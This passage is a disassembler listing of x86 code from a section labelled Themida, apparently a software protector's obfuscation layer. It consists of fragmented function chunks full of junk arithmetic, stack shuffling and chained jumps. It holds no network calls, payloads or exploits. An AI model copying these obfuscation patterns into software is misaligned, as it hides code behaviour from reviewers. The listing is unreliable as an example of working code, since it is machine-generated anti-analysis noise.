--------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570E81 loc_5687BC: ; CODE XREF: sub_570E81-F26Dj neg ebx xor ebx, 0BED09408h add esi, ebx jmp loc_575306 ; END OF FUNCTION CHUNK FOR sub_570E81 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56FB8A loc_5687CB: ; CODE XREF: sub_56FB8A-184Ej sub edx, 4C1F71AEh add edx, 0A33AAF71h sub ebx, edx pop edx pop ebp jmp loc_565464 ; END OF FUNCTION CHUNK FOR sub_56FB8A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56BD36 loc_5687E0: ; CODE XREF: sub_56BD36+8C68j mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp+8+var_8] pop esp add ebx, 4 push ebp jmp loc_572126 ; END OF FUNCTION CHUNK FOR sub_56BD36 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57354D loc_5687FB: ; CODE XREF: sub_57354D-1CDDj push [esp+8+var_8] pop esi add esp, 4 push eax jmp loc_56A690 ; END OF FUNCTION CHUNK FOR sub_57354D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565632 loc_568808: ; CODE XREF: sub_565632+9C4Fj pop ebp jmp loc_56D428 ; END OF FUNCTION CHUNK FOR sub_565632 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566078 loc_56880E: ; CODE XREF: sub_566078-A84j mov edx, [esp+0] jmp loc_568AF0 ; END OF FUNCTION CHUNK FOR sub_566078 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B71F loc_568816: ; CODE XREF: sub_56B71F-7744j sub edx, 42352928h sub edx, 318372D7h xor eax, edx jmp loc_56589B ; END OF FUNCTION CHUNK FOR sub_56B71F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56C83E loc_568829: ; CODE XREF: sub_56C83E+59B4j add ebp, esi pop esi sub ebp, 62B828A1h or ebp, 1D09135Eh jmp loc_564113 ; END OF FUNCTION CHUNK FOR sub_56C83E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B1DC loc_56883D: ; CODE XREF: sub_56B1DC-317Ej mov ebx, 616F6896h or ebx, 42224A1Fh xor ebx, 7A954B8h jmp loc_566A5D ; END OF FUNCTION CHUNK FOR sub_56B1DC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570732 loc_568853: ; CODE XREF: sub_570732-6C16j pop ebp jmp loc_568D42 ; END OF FUNCTION CHUNK FOR sub_570732 ; --------------------------------------------------------------------------- mov cx, [esp] push 6977h jmp loc_5694B4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E4D4 loc_568867: ; CODE XREF: sub_56E4D4-45DEj xor ebx, eax push 168Bh mov [esp+0], ebx mov ebx, 22316930h push 5195h mov [esp+4+var_4], edi sub esp, 4 mov [esp+8+var_8], ebx jmp loc_5718E6 ; END OF FUNCTION CHUNK FOR sub_56E4D4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571C0A loc_56888C: ; CODE XREF: sub_571C0A-8CFFj sub edi, 4 xchg edi, [esp+0] pop esp mov [esp+8+var_8], esi mov esi, esp jmp loc_5659A1 ; END OF FUNCTION CHUNK FOR sub_571C0A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56A7FB loc_5688A0: ; CODE XREF: sub_56A7FB-6C94j xor ch, 64h not ch sub ch, 0C1h jmp loc_56B972 ; END OF FUNCTION CHUNK FOR sub_56A7FB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56EFD2 loc_5688AD: ; CODE XREF: sub_56EFD2+19E1j pop esi add edi, 5D9A5487h jmp loc_560D1D ; END OF FUNCTION CHUNK FOR sub_56EFD2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571088 loc_5688B9: ; CODE XREF: sub_571088-9DE1j pop ebx jmp loc_567B96 ; END OF FUNCTION CHUNK FOR sub_571088 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56C4FF loc_5688BF: ; CODE XREF: sub_56C4FF+577Cj sub ecx, 0AABF40D8h xor ebp, ecx pop ecx add eax, ebp jmp loc_56F528 ; END OF FUNCTION CHUNK FOR sub_56C4FF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568E5C loc_5688CF: ; CODE XREF: sub_568E5C+278Dj push eax push dword ptr [esp+4] jmp loc_566E19 ; END OF FUNCTION CHUNK FOR sub_568E5C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E96D loc_5688D9: ; CODE XREF: sub_56E96D-5AD9j sub ebx, 17E7F0D4h add ebp, ebx pop ebx jmp loc_570442 ; END OF FUNCTION CHUNK FOR sub_56E96D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56DA43 loc_5688E7: ; CODE XREF: sub_56DA43-78B2j pop esp mov [esp+0], esi push [esp+arg_0] mov esi, [esp+4+var_4] jmp loc_572B04 ; END OF FUNCTION CHUNK FOR sub_56DA43 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574A21 loc_5688F7: ; CODE XREF: sub_574A21-5CA5j pop ecx jmp loc_570AA9 ; END OF FUNCTION CHUNK FOR sub_574A21 ; --------------------------------------------------------------------------- loc_5688FD: ; CODE XREF: Themida_:00571EDCj xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] mov ax, [esp] push 85Ch mov [esp], ebp jmp loc_5699B9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574A21 loc_56891A: ; CODE XREF: sub_574A21-D419j xor eax, ebx pop ebx jmp loc_566B94 ; END OF FUNCTION CHUNK FOR sub_574A21 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5666C3 loc_568922: ; CODE XREF: sub_5666C3-2677j pop esi sub eax, 2CD30CF6h add eax, 36D715BAh jmp loc_573AC6 ; END OF FUNCTION CHUNK FOR sub_5666C3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560844 loc_568932: ; CODE XREF: sub_560844+3B5j dec edx not edx not edx and edx, 16DE10FFh not edx add edx, 14000049h add esi, edx jmp loc_560203 ; END OF FUNCTION CHUNK FOR sub_560844 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56BC97 loc_56894C: ; CODE XREF: sub_56BC97-25E5j add eax, 4 jmp loc_56B152 ; END OF FUNCTION CHUNK FOR sub_56BC97 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B11B loc_568956: ; CODE XREF: sub_56B11B+3848j add ebx, eax jmp loc_562663 ; END OF FUNCTION CHUNK FOR sub_56B11B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_573167 loc_56895D: ; CODE XREF: sub_573167+12j mov edx, 1B640300h neg edx and edx, 60F56C1Fh inc edx or edx, 3139634Fh add edx, 8E4690B5h add ebp, edx jmp loc_5652B5 ; END OF FUNCTION CHUNK FOR sub_573167 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56EE9F loc_56897E: ; CODE XREF: sub_56EE9F-DC23j add esp, 4 or [edi+1Ch], ebp jmp loc_560804 ; END OF FUNCTION CHUNK FOR sub_56EE9F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569E1B loc_568989: ; CODE XREF: sub_569E1B+1F05j sub al, 0B2h add al, cl jmp sub_57117B ; END OF FUNCTION CHUNK FOR sub_569E1B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574F16 loc_568992: ; CODE XREF: sub_574F16-88FAj mov dl, 35h add dl, ch pop ecx shl dl, 8 jmp loc_5628FD ; END OF FUNCTION CHUNK FOR sub_574F16 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56FB8A loc_56899F: ; CODE XREF: sub_56FB8A-9D2Bj xor edx, 27C181Bh xor edx, 0EFC2116Ch add esi, edx pop edx push esi add [esp+8+var_8], 434C1F36h jmp loc_565A3A ; END OF FUNCTION CHUNK FOR sub_56FB8A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56FA15 loc_5689BB: ; CODE XREF: sub_56FA15-5018j xor bl, ah jmp loc_56D170 ; END OF FUNCTION CHUNK FOR sub_56FA15 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56F782 loc_5689C2: ; CODE XREF: sub_56F782+9j pop ecx add esp, 4 sub esp, 4 mov [esp+8+var_8], esi jmp loc_56ACAB ; END OF FUNCTION CHUNK FOR sub_56F782 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5690E8 loc_5689D1: ; CODE XREF: sub_5690E8-55A9j xor eax, [esp+8+var_8] jmp loc_574B70 ; END OF FUNCTION CHUNK FOR sub_5690E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E5BB loc_5689D9: ; CODE XREF: sub_56E5BB+4A3Fj push [esp+18h+var_14] pop edx pop [esp+18h+var_18] pop esp pop [esp+10h+var_10] mov esp, [esp+0Ch+var_C] shl [esp-4+arg_0], cl pushf jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_56E5BB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56FA15 loc_5689F2: ; CODE XREF: sub_56FA15-D77Fj pop ecx add al, 1Dh push edx mov dl, 0BBh sub al, dl pop edx add al, 0ECh sub al, dh sub al, 0ECh add al, 0BBh sub al, 1Dh mov dx, word ptr [esp+4+var_4] jmp loc_571B05 ; END OF FUNCTION CHUNK FOR sub_56FA15 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56306E loc_568A0E: ; CODE XREF: sub_56306E+1552j pop ebx sub ecx, 1025252h sub ecx, eax jmp loc_565E71 ; END OF FUNCTION CHUNK FOR sub_56306E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5653AD loc_568A1C: ; CODE XREF: sub_5653AD+9474j dec [esp+4+var_4] pushf jmp loc_56003E ; END OF FUNCTION CHUNK FOR sub_5653AD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572DD7 loc_568A25: ; CODE XREF: sub_572DD7-C0FAj pop eax jmp loc_5690A3 ; END OF FUNCTION CHUNK FOR sub_572DD7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563A7F loc_568A2B: ; CODE XREF: sub_563A7F+6j push esp pop ecx add ecx, 4 sub ecx, 4 push ecx push [esp+0Eh+var_C+2] pop ecx pop [esp+0Eh+var_10+2] pop esp mov [esp+6+var_8+2], edx mov dl, 7Bh sub dl, 8Ch add dl, 53h push eax mov al, 34h and dl, al pop eax push 50DCh jmp loc_56115A ; END OF FUNCTION CHUNK FOR sub_563A7F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5610CE loc_568A5E: ; CODE XREF: sub_5610CE+E2ACj mov esi, 0CA00DA53h add esi, ecx mov ecx, [esp+8+var_8] add esp, 4 xchg ecx, esi push ecx xchg ecx, [esp+8+var_8] jmp loc_5754AD ; END OF FUNCTION CHUNK FOR sub_5610CE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563819 loc_568A79: ; CODE XREF: sub_563819+4427j push 3E97h mov [esp-4+arg_0], ebx jmp loc_5633A2 ; END OF FUNCTION CHUNK FOR sub_563819 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_575315 loc_568A86: ; CODE XREF: sub_575315-12A56j mov [esp+0], ebp inc dword ptr [esp+0] jmp loc_56F2F0 ; END OF FUNCTION CHUNK FOR sub_575315 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574A21 loc_568A91: ; CODE XREF: sub_574A21-11924j mov esi, 1A0F6167h jmp loc_567F78 ; END OF FUNCTION CHUNK FOR sub_574A21 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560844 loc_568A9B: ; CODE XREF: sub_560844+133C1j push 495Ch mov [esp+0Ch+var_C], ecx neg [esp+0Ch+var_C] pop ecx jmp loc_564D9D ; END OF FUNCTION CHUNK FOR sub_560844 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560D31 loc_568AAC: ; CODE XREF: sub_560D31+76E6j jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_560D31 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57377E loc_568AB1: ; CODE XREF: sub_57377E-10200j mov edx, 3634797h sub ebp, edx mov edx, [esp+4+var_4] add esp, 4 pop esi and [edi+1Ch], ebp mov ebp, [esp-4+arg_0] add esp, 4 jmp loc_56F5B2 ; END OF FUNCTION CHUNK FOR sub_57377E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569A84 loc_568ACD: ; CODE XREF: sub_569A84+9C3Ej mov ebx, esp push 9FAh jmp loc_570F25 ; END OF FUNCTION CHUNK FOR sub_569A84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566C83 loc_568AD9: ; CODE XREF: sub_566C83+4782j push 2D3C3F28h pop eax and eax, 6E86C61h add eax, 0C052AFAh mov esi, eax jmp loc_56211C ; END OF FUNCTION CHUNK FOR sub_566C83 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566078 loc_568AF0: ; CODE XREF: sub_566078+2799j add esp, 4 jmp loc_567310 ; END OF FUNCTION CHUNK FOR sub_566078 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56AEF2 loc_568AF8: ; CODE XREF: sub_56AEF2+38EEj add ah, 56h shr ah, 2 xor ah, 5Ch jmp loc_56CE5C ; END OF FUNCTION CHUNK FOR sub_56AEF2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5620B7 loc_568B06: ; CODE XREF: sub_5620B7+E27Fj push ecx mov ch, dl mov al, ch jmp loc_572391 ; END OF FUNCTION CHUNK FOR sub_5620B7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_567D31 loc_568B10: ; CODE XREF: sub_567D31+9BB0j or esi, 2C8449C6h xor esi, 8785DE6Fh add ebx, esi pop esi push ebx jmp loc_573252 ; END OF FUNCTION CHUNK FOR sub_567D31 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574896 loc_568B25: ; CODE XREF: sub_574896-1A9Bj jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_574896 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564D26 loc_568B2A: ; CODE XREF: sub_564D26+3A78j pop esp push edi not [esp+20h+var_20] pop edi jmp loc_56A248 ; END OF FUNCTION CHUNK FOR sub_564D26 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569AB3 loc_568B35: ; CODE XREF: sub_569AB3+6j shl ebp, 7 xor ebp, 1AD92B5Fh sub ebp, 0C6C88632h mov ecx, ebp jmp loc_56B708 ; END OF FUNCTION CHUNK FOR sub_569AB3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574304 loc_568B4B: ; CODE XREF: sub_574304-2ED2j mov esi, 1 jmp sub_570FB7 ; END OF FUNCTION CHUNK FOR sub_574304 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56858D loc_568B55: ; CODE XREF: sub_56858D+2269j jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_56858D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5687A3 loc_568B5A: ; CODE XREF: sub_5687A3+ABC7j mov [esp+8+var_8], ebx mov ebx, 61C90BCCh push 3E07549Bh push [esp+0Ch+var_C] pop ecx jmp loc_56E840 ; END OF FUNCTION CHUNK FOR sub_5687A3 ; --------------------------------------------------------------------------- loc_568B70: ; CODE XREF: Themida_:00561FEBj sub [esp], al pushf jmp loc_55FF9F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561418 loc_568B79: ; CODE XREF: sub_561418+D26Ej add esp, 4 sub ecx, 332B3CCAh jmp loc_56FD47 ; END OF FUNCTION CHUNK FOR sub_561418 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5747FA loc_568B87: ; CODE XREF: sub_5747FA-140D1j pop ebx xor edi, 0E809B0E5h jmp loc_5603F3 ; END OF FUNCTION CHUNK FOR sub_5747FA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574AF3 loc_568B93: ; CODE XREF: sub_574AF3-1EF2j push 4AA3h mov [esp+8+var_8], edi mov edi, 4 sub ecx, 0C0C52B4h add ecx, edi add ecx, 0C0C52B4h pop edi push 65D6h mov [esp+8+var_8], ecx push [esp+8+var_4] pop ecx jmp loc_56AF63 ; END OF FUNCTION CHUNK FOR sub_574AF3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564B5A loc_568BC1: ; CODE XREF: sub_564B5A+6j mov [esp+4+var_4], eax jmp sub_56B310 ; END OF FUNCTION CHUNK FOR sub_564B5A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56AEF2 loc_568BC9: ; CODE XREF: sub_56AEF2+6ADEj add bl, 64h push eax mov al, 50h jmp loc_570C54 ; END OF FUNCTION CHUNK FOR sub_56AEF2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57236D loc_568BD4: ; CODE XREF: sub_57236D-BC86j mov esp, [esp+0] jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_57236D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571890 loc_568BDC: ; CODE XREF: sub_571890-691Fj sub eax, ecx pop ecx add eax, ebx add eax, 75C1EE1h pop ebx add eax, 2 xchg eax, [esp-8+arg_4] mov esp, [esp-8+arg_4] mov ax, [esp-10h+arg_C] push ecx mov ecx, esp push ebp push ebx mov ebx, 3FE567DDh mov ebp, 4F97968Ch sub ebp, ebx mov ebx, [esp-4+arg_0] add esp, 4 push eax mov eax, 0F04DD155h push esi jmp loc_568466 ; END OF FUNCTION CHUNK FOR sub_571890 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574656 loc_568C19: ; CODE XREF: sub_574656-C25j shl edi, 4 sub edi, 0C2EFC0C8h sub ebx, edi pop edi mov edi, ebx mov ebx, [esp+8+var_8] jmp loc_567812 ; END OF FUNCTION CHUNK FOR sub_574656 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560D31 loc_568C2F: ; CODE XREF: sub_560D31+FDDBj add ebp, 2 xchg ebp, [esp-4+arg_0] mov esp, [esp-4+arg_0] push ebx push 754Dh mov [esp+4+var_4], ecx mov ch, dl push edx mov dl, ch mov bl, dl pop edx mov ecx, [esp+4+var_4] add esp, 4 push 3A70h mov [esp+4+var_4], edx sub esp, 4 mov [esp+0], eax jmp loc_56392A ; END OF FUNCTION CHUNK FOR sub_560D31 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561541 loc_568C62: ; CODE XREF: sub_561541+E5B7j mov esi, 23C84081h and ecx, esi pop esi or ecx, 62E30F57h jmp loc_56DBEF ; END OF FUNCTION CHUNK FOR sub_561541 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5620B7 loc_568C75: ; CODE XREF: sub_5620B7-125Ej push 6723h mov [esp+14h+var_14], esi jmp loc_56E434 ; END OF FUNCTION CHUNK FOR sub_5620B7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566DC7 loc_568C82: ; CODE XREF: sub_566DC7-880j push esp jmp loc_569FD6 ; END OF FUNCTION CHUNK FOR sub_566DC7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5648C6 loc_568C88: ; CODE XREF: sub_5648C6+D943j push ecx jmp loc_56D07A ; END OF FUNCTION CHUNK FOR sub_5648C6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57146D loc_568C8E: ; CODE XREF: sub_57146D-C920j inc ah sub ah, 0B9h mov bl, ah pop eax push 7B78h mov [esp+0Ch+var_C], eax mov al, bl push ecx mov cl, al mov dl, cl mov ecx, [esp+10h+var_10] add esp, 4 jmp loc_565B5B ; END OF FUNCTION CHUNK FOR sub_57146D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574A21 loc_568CB3: ; CODE XREF: sub_574A21-12CF3j push 0FD8h mov [esp+4+var_4], ebp mov ebp, 6DCF4C98h jmp loc_56ED61 ; END OF FUNCTION CHUNK FOR sub_574A21 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56FB8A loc_568CC5: ; CODE XREF: sub_56FB8A-3F2Ej neg edi sub edi, 32291B54h jmp loc_571B81 ; END OF FUNCTION CHUNK FOR sub_56FB8A ; =============== S U B R O U T I N E ======================================= sub_568CD2 proc near ; CODE XREF: sub_57549C-1ACCj arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 00561618 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00561CCE SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00566DCD SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005671DB SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005676A5 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00571660 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00572054 SIZE 00000011 BYTES push ebx mov ebx, 52561B11h sub ecx, 1E273D8h add ecx, ebx add ecx, 1E273D8h jmp loc_5671DB sub_568CD2 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56AB93 loc_568CEB: ; CODE XREF: sub_56AB93+9B49j mov ecx, 4 sub esi, 54AD5B3Eh add esi, ecx add esi, 54AD5B3Eh mov ecx, [esp+8+var_8] add esp, 4 jmp loc_562D7E ; END OF FUNCTION CHUNK FOR sub_56AB93 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570E81 loc_568D09: ; CODE XREF: sub_570E81+391Fj add ebp, edx pop edx jmp loc_56CCA3 ; END OF FUNCTION CHUNK FOR sub_570E81 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E126 loc_568D11: ; CODE XREF: sub_56E126-4CF3j shl ecx, 3 push eax mov eax, 588A7D06h sub eax, 32164899h add ecx, eax jmp loc_563881 ; END OF FUNCTION CHUNK FOR sub_56E126 ; --------------------------------------------------------------------------- loc_568D26: ; CODE XREF: Themida_:005675EAj add esp, 4 jmp loc_56114E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56C48D loc_568D31: ; CODE XREF: sub_56C48D+45j pop ecx push esi jmp sub_568E5C ; END OF FUNCTION CHUNK FOR sub_56C48D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564EBE loc_568D38: ; CODE XREF: sub_564EBE+3j mov [esp+4+var_4], edi mov edi, esp jmp loc_56275E ; END OF FUNCTION CHUNK FOR sub_564EBE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570732 loc_568D42: ; CODE XREF: sub_570732-7EDEj mov edx, eax mov eax, [esp+4+var_4] jmp loc_561D7F ; END OF FUNCTION CHUNK FOR sub_570732 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572075 loc_568D4C: ; CODE XREF: sub_572075-8700j sub esi, 3F360BC1h add esi, ecx add esi, 3F360BC1h pop ecx add ecx, esi pop esi push ebp mov ebp, 4 jmp loc_56C677 ; END OF FUNCTION CHUNK FOR sub_572075 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571289 loc_568D69: ; CODE XREF: sub_571289-450Cj neg eax not eax shl eax, 8 xor eax, 1971CC33h jmp loc_561D95 ; END OF FUNCTION CHUNK FOR sub_571289 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560C12 loc_568D7A: ; CODE XREF: sub_560C12+3A62j pop edi add esp, 4 push 77DAh mov [esp+0], ebx mov ebx, 4 jmp loc_561281 ; END OF FUNCTION CHUNK FOR sub_560C12 ; =============== S U B R O U T I N E ======================================= sub_568D93 proc near ; CODE XREF: sub_5680F2+2F30j arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0056303E SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00564BF8 SIZE 00000027 BYTES ; FUNCTION CHUNK AT 0056D2E5 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056F076 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00572944 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00573132 SIZE 00000009 BYTES push ebp mov ebp, 122D0C75h jmp loc_56D2E5 sub_568D93 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_568D9E proc near ; CODE XREF: sub_565CB7+6j var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00564AE1 SIZE 0000002A BYTES ; FUNCTION CHUNK AT 0056A5CB SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056A8C2 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 0056C589 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 005707DC SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005716A6 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00573D6E SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0057475F SIZE 00000015 BYTES push ebp mov ebp, esp add ebp, 4 sub ebp, 4 jmp loc_573D6E sub_568D9E endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572141 loc_568DB2: ; CODE XREF: sub_572141-9E40j add esp, 4 jmp loc_572100 ; END OF FUNCTION CHUNK FOR sub_572141 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56AEF2 loc_568DBD: ; CODE XREF: sub_56AEF2+620j push esp pop eax add eax, 4 push 4CF2h mov [esp-0Ch+arg_8], ecx push esi mov esi, 181A1B95h jmp loc_5645E7 ; END OF FUNCTION CHUNK FOR sub_56AEF2 ; =============== S U B R O U T I N E ======================================= sub_568DD7 proc near ; CODE XREF: sub_566117+CD5Dj var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00564DAE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00572323 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00572448 SIZE 00000012 BYTES sub esp, 4 mov [esp+4+var_4], edx mov edx, 1C6520A1h xor edx, 0ACB1067h neg edx dec edx xor edx, 768C568Ah not edx xor edx, 19447644h sub esi, 190B5770h sub esi, edx add esi, 190B5770h pop edx add ebp, esi jmp loc_572323 sub_568DD7 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57549C loc_568E12: ; CODE XREF: sub_57549C-236Fj pop ebp jmp loc_57168C ; END OF FUNCTION CHUNK FOR sub_57549C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563A7F loc_568E18: ; CODE XREF: sub_563A7F+DCCEj xor cl, 28h shr cl, 1 push ebx jmp loc_56CFA7 ; END OF FUNCTION CHUNK FOR sub_563A7F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563819 loc_568E23: ; CODE XREF: sub_563819+E54Dj sub edi, ebx pop ebx sub esi, edi jmp loc_5734FB ; END OF FUNCTION CHUNK FOR sub_563819 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561418 loc_568E2D: ; CODE XREF: sub_561418+5F0Ej mov edi, 0A045CE5Dh jmp loc_574477 ; END OF FUNCTION CHUNK FOR sub_561418 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574F16 loc_568E37: ; CODE XREF: sub_574F16-709Cj mov esp, [esp+6+var_6] jmp loc_56C618 ; END OF FUNCTION CHUNK FOR sub_574F16 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5726FB loc_568E3F: ; CODE XREF: sub_5726FB-FF5Fj add esp, 4 and [edi+1Ch], ecx jmp loc_5607AA ; END OF FUNCTION CHUNK FOR sub_5726FB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B06D loc_568E4D: ; CODE XREF: sub_56B06D-1B34j mov [esp+18h+var_18], edi add [esp+18h+var_18], 31D436B5h jmp loc_56F629 ; END OF FUNCTION CHUNK FOR sub_56B06D ; =============== S U B R O U T I N E ======================================= sub_568E5C proc near ; CODE XREF: sub_56C48D-375Aj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0056043C SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00560BA0 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00561720 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005622B9 SIZE 00000032 BYTES ; FUNCTION CHUNK AT 005624FE SIZE 00000020 BYTES ; FUNCTION CHUNK AT 005632A5 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00564556 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 005646B6 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00564894 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00564D7A SIZE 0000001D BYTES ; FUNCTION CHUNK AT 00565774 